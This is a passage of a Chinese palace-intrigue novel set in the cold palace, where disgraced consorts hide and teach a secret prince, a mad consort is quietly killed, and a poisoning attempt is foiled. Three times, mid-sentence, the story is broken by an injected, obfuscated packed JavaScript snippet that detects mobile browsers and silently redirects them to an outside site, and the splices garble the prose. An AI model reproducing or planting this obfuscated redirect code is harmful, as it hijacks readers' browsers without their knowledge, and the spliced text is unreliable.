她真可谓一时风光无两,低位的嫔御自然不必说的敬重,就连皇后待她也是和颜悦色、厚爱有加。人人都羡慕她走运,可这运气哪是羡慕得来的呢,都是前生的造化。 可俗话说,福兮祸所伏,这好运到了极点,就容易跌重。 就在柳美人怀胎八月的时候,可巧钦天监报荧惑守心,一时人心惶惶。皇上命人观天象,但占星官支支吾吾,不敢报告。皇上逼问,他才说这是大凶之兆,预示天子王者易主,乱不远矣。 皇上当即大怒,但旋即又不解,是年各地太平,百姓安分,虽然偶尔有饥荒灾害,但决没有到天怒人怨的地步。边关新增了守军,蛮夷亦无作乱之心。既无内忧,又无外患,何以就要江山易主呢? 占星官接着解释道,这只是预兆,天象阴阳失调,阴盛于阳,易主者尚在母腹中,仍未降世。 皇上又问,篡逆者之母现在何处? 占星官汗如雨下。 皇上一再追问,他才跪下请罪直言。 正在宫闱之中! 宫闱之中有孕即将临盆的女子,那还能是谁呢?皇上一听立刻面色苍白,让人把占星官拖下去打板子。 可行刑前,他又后悔了,让人放了他,只命他不许外传。 但宫里哪里有不漏风的墙?更何况是这种人人关心的灾厄之事。到最后,不知道是那个占星官大嘴巴,还是皇上睡梦之中无意透露给哪个妃子,这事很快就传开了。那个占星官被斩了,但这更坐实了星象确有其事,即便是天子,能奈众人之言何呢? 柳美人本来临盆就身体不适,又加上无辜卷进谣言中心,自己十月怀胎生下的竟会是乱臣贼子,愈发惶惶不安、身心痛苦。 皇上刚开始还来安慰她,到最后,几乎是刻意避着她,再也没有出面过,只是在她住所外,新增了不少宫人。表面上说,她生产时内外需要更多人手,实际上,哼,只不过是想控制她和那个孩子罢了。难为一国之君,忌惮一个孕妇和她未出生的孩子。 柳美人的宫殿,本来门庭若市,讨好献媚的人源源不断。谣言一出,大家都避之不及。以前眼红嫉妒她的人,也用不着虚情假意了,走过她的门口,一定要骂几句狐媚惑主、生子不祥出口恶气。 柳美人的孩子一出生,就被皇上里里外外安排的人抱走了。他们一定排练了很多遍,让她连反应一下的机会都没有,孩子的面都没见着,就告诉她: “娘娘节哀,小皇子一生下来就夭折了,奴婢们怕您看了伤心,已将孩子送出去了。” 柳美人当时连哭的力气都没有了,只喃喃自语: “我明明听到他哭了的。 我知道他是活着出生的。 我的孩子没有罪。” 但她的辩驳一点用都没有,因为跟宫人争辩没有意义,而她的诉苦根本传不到皇上那里,皇上说什么都不肯再见她了。 宫里人多趋炎附势,柳美人恩宠尽失,一朝跌落谷底,自然人人都能来踩上一脚。这个孩子皇上认都不愿意认,不给他谥号,不给他名字,根本不许人记载。 皇上是这样一副态度,底下人更不拿他当回事儿了。每次争锋,总免不了拿她那可怜孩子说事,小孽种、小畜生,什么肮脏词忌讳词都不管了,只要能戳疼她的心,她们什么话不敢说。 柳美人每次听人嘲讽,都忍气吞声。直到有一天终于忍无可忍,指着对方鼻子就开始大骂。这一骂就没有分寸,直接把皇上也捎带进去了,说他听信虚言罔顾天伦,枉为人父。你说,这话进了她敌人的耳,去皇上那儿一番添油加醋,那还得了。 柳美人也是心如死灰,在第二天皇上的口谕来之前,就收拾好行装去冷宫住着了。 她本是抱着一了百了的心态来冷宫消磨岁月的。可估计是她命不该绝,竟然让她在万念俱灰时,逢了人间难得一遇的喜事,在这事面前,什么俗事金榜题名、洞房花烛都不值一提啦。 你猜是什么?对啦,起死回生,母子团圆! 宫里虽说容了世间所有骇人听闻的丑恶心肠,也幸而,还没缺少善人善心,不至于黯淡无光如万古长夜。 那些层层把小皇子送出去的人当中,有人动了恻隐之心,冒着砍头的罪留了孩子一条命。你别看那些宫女太监们命贱,他们中有的人,心比金子还好。就是这当中的人,将孩子养在自己的耳房里,虽说见不得人,但好歹孩子能活着。 他们行善积德,或许下辈子就改了奴才命,当然,我只是猜他们的想法。 于是听说柳美人进了冷宫后,他们也知道孩子一直藏在人多眼杂的地方不是办法,就偷偷地,把孩子带到母亲面前,冷宫僻静,就让他的母亲来抚养吧。 哎,母子相认的那一天,真是闻者落泪见者伤心啊,柳美人哭得抽抽噎噎的,话都说不利索,差点就要给那个抱孩子过来的太监磕头了。娘哭个没完,孩子倒睡得很安稳,柳美人当时就说: “到底是个命里不操心的孩子,睡着了还笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974346|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。也罢,以后就让娘给你操心吧。“ 但说到底,无论养在耳房,还是养在冷宫,这孩子都无名无分的,我问过柳美人,你总不能让这孩子就在冷宫里生老病死吧。 那不是我能定的。她当时深叹一口气。若什么时候,陛下回心转意了,知道所谓天象不过是奸人谗言,愿意让这个孩子归宗认祖,那就是我儿的福气了。若是等不到这个时候,他活着就很好了。 她的日子就这样过了十年,等来一个冒失鬼,想让这孩子去一展宏图,去陛下面前露脸,去说,我是皇子,我要一试万人之上的位子。你说,皇上是会大加赞赏,共享天伦,命他继承大统,还是把跟此事有关联的人全斩了,永绝后患呢? 涂才人的故事到这就讲完了,娄庄姬听得入迷,被她最后的话刺了下,才从柳美人大起大落的经历中回过神来。 “等陛下回心转意,那要等到什么时候?” “谁知道呢,或许永远没有那一天,或许他把这事儿忘了,加上所有皇子都薨了,想起自己曾经有一个儿子,这时候让她儿子露个面,或许真就让他临危受命了;再或者,有新的天象,让他快快去把这个孩子找回来。总之,谁也说不准。” 幸亏是在冷宫,涂才人才能这么口无遮拦地说话。而娄庄姬听着,心一点点地下沉。柳美人等待的机会,根本就是虚无缥缈、难以预料的,在机会来临之前,这个被父皇判处死刑的皇子的所有存在都不被允许。 “所以啊,让他功成名就的前提,是保证他活着。柳美人半生就这么一个指望,你可别带他做傻事儿。” 柳美人的半生着实是传奇。娄庄姬难以把自己认识的这个面色蜡黄的妇人与曾经艳冠后宫的宠妃联系起来。 虽然她早知宫里浮浮沉沉是常事,作为妃子,不就是在天子的施舍的一点喜怒哀乐下辗转求生的吗,君心难测,嫔妃命运也就莫测。在入宫前,她就告诫自己,虽然自己不愿做妖妃媚主,但既为嫔妃,必要先得君王欢心,再图其他劝谏之事,勿复班婕妤覆辙。 而听完柳美人大喜大恸的经历,原来君王的欢心是那么难以维系的东西,风一吹就会倒,作为小小妃子的身家性命全都系在这飘飘荡荡的一颗心上,真是如同海上孤舟,伶仃无依。 冷宫十年将柳美人的妩媚冶艳磨灭的荡然无存,娄庄姬摸了摸自己还算白净饱满的面容,不知道自己的青春还能驻留多久。 伤春悲秋本就惹人惆怅,她又感慨自己做妃子时,皇帝主宰她的生活;如今身在冷宫,唯一的希望又紧紧与一个自身难保的皇子相连。到头来,总不能自己掌控自己的人生,不禁悲从中来。 就在这时,皇甫澍跑来了,打断了她的思绪。 他递给她一把用黄灿灿的银杏叶做成的扇子,颇有童趣。 “送给师父,补做我拜师的礼物。”他还是怯怯地不敢看人。 娄庄姬接过后,他又把另一把送给了涂才人。 “我也有?真是好孩子···欸,你给他起的名字叫什么来着?“ “澍儿。” “哦,是那个,久旱逢霖,逢凶化吉,”她沉吟片刻,“逢凶化吉,呵呵,真是好名字。” 她摸了摸皇甫澍的头,他脸有点红。娄庄姬看着这个天真的孩子,心里五味杂陈。 突然,向她们这边走过来的柳美人惊恐地叫了一声,三人吓了一跳,顺着她的目光看去,瞬间汗毛直立。 那个本该睡下的疯妃,不知何时从房间走了出来,一双直勾勾的眼睛正咬在皇甫澍身上。 5. 善恶 柳美人忙跑去双臂搂住了皇甫澍,娄庄姬挡在他们俩身前。 涂才人脸色一沉,警觉地走向疯妃。 “你跑出来干嘛,还不快歇息去?” 那疯妃的眼睛像要瞪出眼眶,呲着牙含糊不清地说: “有个孩子,哪儿来的孩子?” 涂才人措辞严厉。 “这跟你有什么关系!不该问的事别问。” 疯妃哪会这么轻易就作罢。她伸出手,肮脏的衣袖下露出一截瘦骨嶙峋的小臂。她不理会其他人,只目光灼灼地凝视着皇甫澍,口中低语: “是我儿回来了吗,我儿想娘啦?” 她说着就向皇甫澍走近,吓得柳美人捂住了他的眼睛,浑身上下颤动不止,娄庄姬扶着她的手也不由得攥紧了。 涂才人大呵一声:“你那死鬼儿子早就投胎去了,你清醒点就该把他忘了,别在这里疯疯癫癫的!” 柳美人低声向娄庄姬解释道:“她也可怜,儿子夭折得早,她为此一直郁郁寡欢,到最后成了这幅模样。” 沦落到冷宫的妃子,谁没有些伤心事呢,娄庄姬看着眼前这个形容可怖的疯女人,心里除了害怕又多了几分可怜。 涂才人倒是没那么多心思来怜悯。 “还可怜人家呢,先担心下自己的儿吧。别在那发愣了,把孩子带回去。” 柳美人反应回来,拽着皇甫澍就往自己屋里跑。那疯妃看见孩子要逃,面露凶光,像只弓起背的母狼一样冲两人的方向扑过去,娄庄姬立刻挡住她的袭击,脸上狠狠挨了她两道抓印。 “你们要把我的孩子带到哪里去?“她在娄庄姬耳边嚎叫凄厉。 她虽然瘦得只剩一把骨头,此刻浑身却迸发出巨大的力气,娄庄姬险些推搡她不过,摔倒在地。 就在这时,涂才人从后方一把扯住疯妃的披散的长发,又引得她振聋发聩地厉叫一声,向后仰倒。 娄庄姬从恶战中脱身,一手撑地,呼呼喘气。 只见涂才人神色冰冷,丝毫不顾疯妃的挣扎,不顾她在自己的手上扣出的深深的血痕。她绞着她的头发,把她一路拖回了房中,接着趁她还没有爬起来,“砰”的一声甩上了房门,用身子抵着里面一次又一次猛烈的撞击。 她看向地上的娄庄姬,努了一下嘴,冷静地说: “我的床下有一个箱子,里面有一把锁,去把它拿来。” 当铜锁“咔嗒”一下合上,房内人一切的呼号因一扇单薄的门的阻隔而变得没有威胁了,只是一种与树叶的沙沙声不同的背景声。与她对门的柳美人的厢房,厚重的门也已经将母子俩的存在隐藏了。 娄庄姬惊魂未定,看着涂才人淌血的手,问道: “你没事吧?” 涂才人把血迹在衣服上胡乱抹了几把,看见娄庄姬担心的眼光,做出一副矫揉的呲牙咧嘴模样,说: “哎呀她力气可真大,痛死啦痛死了啦!” 虽说那伤口不可不谓触目惊心,但她演得也太夸张了。娄庄姬被她逗得勾起了嘴角,但难掩忧心。 “她以前一直不知道澍儿的存在吗?” “我们以前一直藏得挺好的。”涂才人耸肩。 “为什么不告诉她呢?兴许她不会往外说呢?” “哼,她从进冷宫来就疯疯癫癫的,谁能管住一个疯子的嘴?” 娄庄姬叹了口气。 “现在她知道了,这可怎么办?总不能一直把她关在里面。” 涂才人没有答话,默然地听着疯妃的吼声渐渐衰弱。直到再没有声响时,她一抬脚,踩裂了地上一粒发着臭气的银杏果。 当晚放饭的时候,她们编造说那疯妃身体不适,替她领饭,把她的餐食匀给了皇甫澍。负责发饭的太监厌烦自己的差事,也没有多问。 柳美人早早地就安排皇甫澍睡下了,自己则对窗静默地抹着眼泪。娄庄姬知道这样的眼泪是流不尽的,安慰了几句,也郁郁地回到床上,这才发觉涂才人的床铺空空荡荡的。 夜深露重,空气更加阴冷了,月光呈现一种不安的青白色,把地上的一切都照湿了。 娄庄姬裹紧了单薄的被衾,一种自心底而生的寒凉压过了身体所感受到的冰冷。她听到那疯妃又开始叫,凄厉又惊恐。而她的嚎哭唤来了隔壁清心阁的和应,这些绝望的母狼只有在痛苦的时候是齐心的。 今天发生了太多事,她终究没有敌过身体铺天盖地的疲惫,眼皮沉重地垂下,进入了一个焦躁的梦乡。 待她被推门声惊醒时,疯妃的哀嚎已经停止了,只剩下更为恐怖的凝固的寂静。 涂才人的脚步在这样的寂静中分外鲜明。 “你做什么去了?” 涂才人不答她的问题。 “我想起之前从外面拿了些膏药,最能化解疤痕,我去给你拿,敷在你脸上有伤的地方。” “我,我问你你刚刚去做什么了?” 涂才人翻箱倒柜了一阵,掏出一个小瓷盒,在月色下闪耀着白光。 她坐到娄庄姬床边,用手指抹了药,就着月光轻轻涂在娄庄姬的脸上,冰凉的触感让她打了个寒战。 “你这么想知道?我去安慰柳慈了。” 娄庄姬感到自己的伤烧着似的疼。 “别骗我,你说什么我信什么。” 涂才人的脸在光影之中晦暗不明,轮廓模糊,细长的眉毛像两道凌厉的笔画。 “你猜猜。” “那个疯妃。” “我把她的舌头拔了,她再也不会泄漏秘密了。”涂才人嘴角扬起一个诡异的弧度。 她的手上裹着层层白净的绷带。 “你真这么做了我也不奇怪。” “笑话而已,我又不是地狱恶鬼,喜欢拔人家舌头。” 涂才人接着说: “不过她的确不会再开口了。” 静静的,耳边只有远处风的呜咽。 娄庄姬觉得喉咙像被扼住,声音颤抖:“你杀…” “嗒”一声,涂才人手中的瓷盒合上。她不待娄庄姬把话说完,利落地起身,回到自己铺上。 “睡吧。” 娄庄姬目不转睛地注视着头顶发霉的横梁,期待上面会跑过一只小老鼠之类的,狡诈鄙俗却生命力旺盛,而不是像现在这样静悄悄的。 是冷宫亘古的幽深寂静使这些榫卯霉烂的。 她瞟了一眼背向她躺着的涂才人,电光火石间吐露了自己一直哽着的心声: “如果我去向外面人告密,你也会,像对待她一样对待我吗?” ——我也会死在你手上吗? 她尽力想听到涂才人思考的声音,耳边却只有自己沉重的呼吸。 “我想会吧。” 旋即,她用既含着苦笑又含着困倦的语气问: “你进宫多久了?” “算上在冷宫的日子,有一年了。” “才一年。你还不知道宫里是什么样的地方。这里吃人不吐骨头,你不害别人,别人就会来害你。在宫外你可以信贤良淑德,进了这儿,趁早忘了吧。” “可她只是不小心看到了…她都疯了。” “她这样活着和死了有什么区别?你当我只在救柳美人和她儿子吗?我也在救她。” “我不明白。” “你的手上还没沾上过血,当然不明白。” “沾上了就明白了?” “不。沾上了也不明白。算了,跟你说话真是绕,我还是喜欢人家安安静静的。” 娄庄姬抱紧了自己。 她们的对话没头没尾,稀里糊涂,停止在寒意蔓延开来的深夜。 涂才人翻了个身。 “你觉不觉得今晚很冷?” 第二天,不知道涂才人用了什么手段, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974347|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个疯妃的遗体悄无声息地运了出去,没有人追责,没有人过问。娄庄姬只最后一眼看到她脖颈上隐约的红痕。 皇甫澍昨日受了惊,更加没精打采了。涂才人在一旁讽刺道:“徒弟也懒洋洋的,师父也懒洋洋的,这还上什么课?罢了罢了,都歇歇吧。” 说是要歇,还是没有。娄庄姬强打起精神,给他讲了几个故事,不外乎劝人勤奋、向善的。虽然俗套,皇甫澍从小耳目闭塞没有听过,觉得新奇,兴趣也就慢慢被勾起来了,比起昨天,更加全神贯注。娄庄姬见他用心,讲得也更绘声绘色。 “……后来呢,舜帝不计前嫌,不仅没有苛责曾经想将他生生活埋的父母、弟弟,还倍加礼敬他们,都封王封爵,孝行感动天地,山川、鸟兽都来相助他的部落,他也一直被人们尊敬。” 皇甫澍听了这个故事,面露难色,好像在纠结什么事。娄庄姬问他在想什么,他支支吾吾地说: “我不明白,舜一点儿都不恨他的父母兄弟吗?他一点儿脾气都没有吗?” 娄庄姬想了想:“就算有脾气,凭着他巨大的孝心,也要压下去啊。“ “可他差点就要死了。” “在他看来,孝心重于生命。” 皇甫澍有点沮丧:“像我这样的人,蚊子叮我,我一定要打回去,我不能像他一样不记仇。” 娄庄姬笑笑:“舜帝遇到蚊子,也是会生气的。但这并不影响他包容敬爱父母。你看,你一定也是敬爱你的母亲的,哪怕她一时气急了骂你,难道你会记一辈子仇?” 皇甫澍低声说:“母亲打骂我的时候,我也生气,但每次她骂我时,自己会先哭,我看了她哭,心里难受,就忘了生气了。这样看来,我还有好多气没有发出来呢。” 柳美人在一旁轻拧了他一把:“这小鬼。” 娄庄姬摸摸他的头:“真是乖孩子。” 皇甫澍脸红耳热的,接着说: “我知道母亲对我好,所以我会为她难受。师父和涂姨对我也好,我也不生你们的气。不过…” 他停了一下。 “我想如果有人对我不好,我不知道我会不会记他的仇。我大概不能像舜帝一样吧。昨天那位娘娘,那样可怕,她如果真的来打我、抓我,我想我会打回去的。” 他的目光落在了娄庄姬脸颊的抓痕上。 娄庄姬默默道:“她毕竟没有伤你。有些事情不到它真的发生,你是不知道你会怎样应对的。你觉得你会表现得很机智勇敢,其实事到临头很懦弱。同样,你以为你会恨,实则你会原谅、理解。” 皇甫澍似懂非懂。 到了中午,一件谁都没有料想到的事发生了。送饭的小太监今天畏畏缩缩的,本来柳美人和娄庄姬的伙食一样,他却非得将两份分个清楚,手中的白瓷碗踏踏实实放在娄庄姬手里才罢休。 娄庄姬心下觉得奇怪,就跟二人说了自己的困惑。柳美人面色苍白,涂才人冷笑,夺过她的碗,将菜甩到墙角的老鼠洞前。 冷宫的老鼠不怕人,闻到食物的香味就大大方方地出来了,嗅了一嗅,就头也不回地钻进洞里。 “有毒!”娄庄姬失声。 “好低劣的手段,现在宫里的人蠢成这样了吗?”涂才人轻蔑道。 “一定是贵妃。一个月过去了,她倒想起我来。可惜没遂她的愿!”娄庄姬愤愤不平。 皇甫澍第一次见她暴怒的神情,有些害怕,小声地叫“师父。” 这几声挽回了她的一点理智,同时也使她清醒的明白,自己终究不是个圣人,做不到既往不咎、宽宏大量。此刻,在弟子面前,她不知是应该继续愤怒,还是因为惭愧而冷静下来。 迟来的死亡阴影笼罩了整个房间,压得人喘不上气儿。 她抬头看到涂才人戏谑的双眸,那双永远藏着秘密的眼睛仿佛在说: “醒醒吧,别再天真了。” 6. 江山图(上) 冷宫的岁月一晃就是七年。 宫里这段时间仿佛很太平,除了清心阁七年间断断续续来了两三个废妃外,存芳殿竟是一个新面孔都没有。娄庄姬有时猜测,是不是贵妃已经彻底扫除异己、称霸后宫了。这个想法得到了涂才人的嗤笑。 “别傻了,那个下毒都下不明白的贵妃能有这本事?” 她随后解释道:”皇帝最近沉迷方士修仙,清心寡欲,对后宫不闻不问,她们再斗又有什么意思?“ 娄庄姬不小地吃了一惊。 “沉迷方士?” “宫里是这么传的,我也不知真假。但你想,皇帝也到了该追求长命百岁的年纪了。” “方士之说,都是无稽之谈,陛下怎么能信这些呢?” 涂才人毫不在意:”这也不是我们能管得着的。他就是成仙了,我们的日子也不会变得更好。他是皇帝,想做什么就做什么去吧。“ 娄庄姬无言以对。 七年过去,皇帝兴许已经忘了她的存在,曾经短暂的恩宠恍若隔世。她也已经淡忘了皇帝的脸和他的怀抱,只记得他那件有着刺鼻熏香的龙袍,那股香味曾是对她福泽的确认。而如今,纵使他们曾经有过两情欢好的时光,高高在上的九五之尊怎么还会记得起一个在冷宫形容憔悴的废妃呢?她又何必为他忧心呢? 娄庄姬擦亮铜镜,看着因自己无心梳妆而显得颓废的脸庞,消瘦清癯,五官突出,几缕乱发附在两颊,眉头紧紧蹙着。她想扯出一个笑,却只显得勉强。青春的容光早早从她脸上褪去了,只留下难以掩盖的愁绪和迷惘。 她正在为自己感伤时,传来了一阵轻轻的叩门声。 “师父,涂姨?”清亮的男声。是皇甫澍。 娄庄姬忍住泪水,连忙起身去给他开门。 “澍儿,这么晚了,有什么事儿?” 一开门就撞上皇甫澍一张冻得鼻尖红红的脸。他今年虚岁十九了,长高了不少,面容俊秀,眉眼风流锐利,隐约间有柳美人年轻的影子,还没有脱去稚气。只可惜太过清瘦了,远远看过去,如同一根修竹屹立。 他裹了一件单薄的外衣,怀里抱着一摞书,在屋外的冰天雪地里瑟瑟发抖,娄庄姬赶紧让他进屋,把门关的严严实实的。 “我本想晚上温书,可担心烛光扰到母亲休息,看师父你们这还有亮光,就来叨扰你们借一点光。” 柳美人自入冬以来,身体每况愈下,整天地卧床不起,冷宫又难得请太医,只能让她这么熬着,盼着开春能有好转。 她要静养,皇甫澍白天就到娄庄姬她俩的房间,或者在院子里上课。 之前疯妃的屋子,本来空出来了。可是几年前疯妃那一场闹给四人留下了不小的阴影,自从锁上后就再也没人进去。 冬夜漫长,皇甫澍在读书,娄庄姬倚在桌旁打络子。 络子打出来托人送到宫外集市或估衣铺去卖,得的银子,除了付作跑腿费的部分,剩下的就去买旧书和纸笔。给她跑腿的太监嘲笑她,有这钱为何不去买点吃的穿的,买这些破书臭墨,都进冷宫了还一股文人酸味儿。娄庄姬白了他一眼,不想纠缠。 皇甫澍得到的第一本书就多亏了她的络子。那是一本掉线的纸张脆黄的《诗经》。他第一次见到书,欣喜得眼神放光,贪婪地嗅着上面油墨的味道,手不释卷。娄庄姬看着他坐在树下读书的样子,竟忘了自己通宵往来不停地挑、钩、拢、合的辛苦。 皇甫澍拜师后又过了好一段时间,他的天资才从表面的迟钝胆怯中显露出来,这才现出他是个极有禀赋的孩子。他悟性很高,触类旁通,又对知识狂热地索求,使得他进步很快。为此娄庄姬也惋惜地感慨,如此天才,开蒙实在太晚了些。 书页翻动的声音“哗哗”,伴随着屋外嘎吱的落雪声,一片安详。 烛火晃动,娄庄姬低头久了,觉得脖子酸胀,一抬头,对上皇甫澍直直的目光。看起来他的注意力不在书上已经很有一会儿了,目光交会时,一下子红了脸,立刻埋下头去。 “在看什么呢?” “我···我在看师父打的络子。”他嗫嚅。 “又不是第一次见,怎么看的目不转睛的?” “以前没见过师父的手法,今天才能好好观察。” 娄庄姬一挑眉。从他坐的位置,根本看不到她手的动作,这小子的谎真是拙劣。 “你如果没心思看书,就早早歇息去吧。” “弟子知错了。” 娄庄姬轻轻叹息,放下手中的活计,站起身来,一面舒展筋骨,一面考察下徒弟的学业。谁知她刚一伸头,皇甫澍手忙脚乱地挡住面前的书页,用一种谄媚的笑看她。 有蹊跷。娄庄姬想。 “把手拿开。看的什么书,见不得人?” 皇甫澍摇摇头。 “快拿开。”娄庄姬想把他的手臂抬起来,却忘了他已不是当年瘦弱的孩子,如今凭自己的力气是奈他不何了。 见撬不动他的胳膊,她有些羞恼。 “再不拿开,我就拿戒尺过来了。” 皇甫澍嬉皮笑脸:“师父那根戒尺可从来没用过。” 娄庄姬的戒尺就是一根长树枝,一直挂在墙上,在形式上表示肃静课堂,而从来没有取下来过。每次说要拿戒尺,都只是吓唬一下他,久而久之,戒尺在他心里又沦为一根普通的树枝了。 今天她决定再次恢复戒尺的权威。 “你看着吧。”她转身就去拿。 虽说只是一根树枝,但它苍劲有力、枝节横生,当年可是把小皇甫澍吓得不轻。娄庄姬把它在手里敲了敲,挥舞了一下,作势就要打。 皇甫澍见她来真的,情急之中赶忙伸手护住脸。想象中的棍子迟迟没有落下,他睁眼,娄庄姬已经捧起他方才那本书读起来。 “···那髯虬龙一个扎猛子,激起三丈高的水花,直吓得那帮官兵屁滚尿流,连连后退···闫二娘一手无双枫叶刀,飞虹掣电闪过,几个八尺大汉竟全部倒下···这是什么书?《绿林列传》?” 娄庄姬本来就很大的眼睛瞪得更大了。 她立眉瞪向皇甫澍,呵问道:“这书是从哪儿来的?我可不记得给过你这样的书。” 躺在床上一声不吭的涂才人这时候说话了。 “是我给他的。你们真是吵啊。” “你怎么给他看这样的书?” “他这个年纪,看些快意恩仇的话本子又怎么了?你放心,他看这书还开小差呢,绝没有读正经书时认真。” 皇甫澍脸涨红了,赔笑说: “我只是看它内容新奇,才央涂姨给我带些,绝不多看,也不耽误功课。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974348|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你手上现在有几本?” “额···三本?” “全都交给我,不许再看了。” “这可不行啊师父,我这本才刚看到···”皇甫澍争辩的话语撞上娄庄姬恼火的眼神,全都咽下去了。 “这没什么讨价还价的,这些书看了一点好处都没有,把心都看野了,哪还读得进正经书。” “所以师父也觉得这些比经史子集好看?”皇甫澍嘟哝。这当然没有逃过娄庄姬的耳朵。 “我像你这个年纪时可从来不看这些书。” “你像他这个年纪时已经进冷宫了。”涂才人冷不丁插嘴。 娄庄姬愤愤看她,她却背着身子,一副置身事外的模样。 娄庄姬揉了揉太阳穴,冷静下来,语气缓和了一点: “这些书不外乎猎奇夸张、博人眼球,回味时只觉得味同嚼蜡。倒不如古人经典,细细品来,余韵无穷。看这些书,把自己的品味降低了,经典的韵味,就体会不到了。” “弟子知道的。但师父,这本书写的真的很好,我昨天读了它的前十回,今天回味起来觉得有些地方语意隽永、很有味道,倒不是那种俗套的故事。” “哦?”娄庄姬气笑了,“哪里写的好,你倒说说看?” “首先,书里的武功写得详细真实,一看作者就是武林人士、闯江湖的;其次,书里的几个人讲义气、重感情,读来很爽快,尤其是闫二娘和髯虬龙这对侠侣,相濡以沫,真是美好。” 从娄庄姬的表情看,这两个优点没有一个入了她的眼。 皇甫澍只得接着说: “然后,书里写这些侠客们游历四海,处处人文风光、奇山异水,都叙述得详细,读着如身临其境般。弟子知道自己没这个福气壮游天下,看看书里怎么说,倒也算满足。” 这个理由让娄庄姬心软了。 “都写了些什么地方?” “有···吴郡的太湖。洛州春日的牡丹,闫二娘就是来自那儿。荆州的高峡急湍最是奇险,乘舟务必小心。益州有高山直入云霄,无人能越···” 他一说就停不下来。涂才人睡不踏实,从床上坐起。娄庄姬倒是一字一句听得认真。 “你们继续念叨吧,我去看看柳慈怎么样了?” 她只在里衣外面披了一件薄薄的外衫,娄庄姬叫住她: “要去的话多穿几件,快去快回,外面下雪呢,别冻着了。” 涂才人耸耸肩:“你们早点说完,我还能早点回来。” 她走了,皇甫澍还在滔滔不绝: “渭州是与胡人交界的地方,过往客商最多,三教九流,鱼龙混杂;青州有传说中的蓬莱仙境;泰山是龙气汇聚之地;华山是武林人士比武论高低的地方;戴鸡冠形状头饰的僧人从很远的西边来,跟我们语言不通,内力却深不可测···” 他完全凭借自己的记忆,东一榔头西一棒槌地列出这些相隔千里的地名,明明自己一处也没有去过,却绘声绘色,仿佛已经随书里的人游历过了一遍似的。 待他终于罗列完,脸上泛着激动的红光,娄庄姬明显已经不生气了,注视着他热情洋溢的眸子,问:“你知道这些地方在哪儿吗?” 皇甫澍摇头。 娄庄姬取出了笔墨、一卷长纸。 “我来画给你看。” 7. 江山图(下) 娄庄姬凝神执笔,先横向挥斥两笔,为长江、黄河。随后细细勾勒出青幽并冀等州,等大致轮廓完成,又将皇甫澍方才提到的地名一一圈出,从南到北、从西至东,布满了密密麻麻的圆圈,就如同水面上泛起的一圈又一圈波纹,正在慢慢荡漾开。 皇甫澍目瞪口呆。 画完后,娄庄姬把图平铺在地板上,端起灯,拉着皇甫澍蹲下,指着京城问他: “我们现在在这儿,要想游完你刚刚说的这些地方,该走哪条路,你看看?” 皇甫澍端详了一番,手指在图上迟疑地游走,嘴里念念有词。 “从这儿?书上说,他们是从这儿走到这,可这两个地方根本不在一块儿啊?” 但很快他就忘了看图的初衷了。他口中品味着这些地名和城池,全神贯注地用手指轧过娄庄姬勾勒出的边界线。这些地名他在读过的书上都看到过,只是从来没有在脑海中将它们铺展在山河大地上。如今,念着这些熟悉又陌生的名字,眼里瞧它们在地图上重现,明明只是看着,却在他心里浮起一种创造的乐趣,万里河山从他眼光掠过的地方诞生。 “真神奇啊!”他感叹道。 ”光听书上的有什么意思,地图虽然只是一些文字和方位,可看着它,想着那些名秀山川,感觉真不一样。“ “师父,你居然能画这么一份地图,你能把这些地名和它们的位置都记下来?” “我父亲书房里,挂了一张很大的图。他告诉我们,修史的时候,如不看着地图,许多记录便要出错,失之毫厘差之千里。它那副地图是彩绘的,比这个要细致多了,我也是看的多了才记下来。“她提起分隔多年不知音信的父亲,心里有点感伤。 皇甫澍抚摸着这张地图,眼睛亮闪闪的,鼻尖儿都要贴上去了。 “这是我第一次见到地图。” “你喜欢的话,就送给你。只是简陋了些,兴许还有画错的地方,看着玩儿倒无妨。” “谢谢师父!我一定好好珍藏。”皇甫澍喜笑颜开。 娄庄姬趁势加码:“你要了我的地图,就不能再要这几本书了,答不答应?” 皇甫澍挠了挠头,犹豫了一下,扭捏道: “可它真的是一本好书。要不师父你先读一读,若你也觉得好再还给我;若你看不上,我就不要了。” 娄庄姬笑了:“好,就依你,先等我看完吧。” 皇甫澍接着趴下看地图。 娄庄姬看着他,又是欣慰又是心酸。他无比向往外面的世界,却总是在压抑这种欲望。无论是那些杂书,还是这张地图,都是他释放这种欲望的出口。冷宫是个压抑人本性的地方,四方的宫墙挡住了一切希冀。皇甫澍的懂事与忍耐,若没有宫墙的束缚,本来是不必要的。 就在这时,涂才人推开门进来了。她的身上还带着雪花,脸冻得红彤彤的,不停地搓着手哈气。 “这是在看什么?地图?” “是师父画的地图!”皇甫澍很骄傲地答。 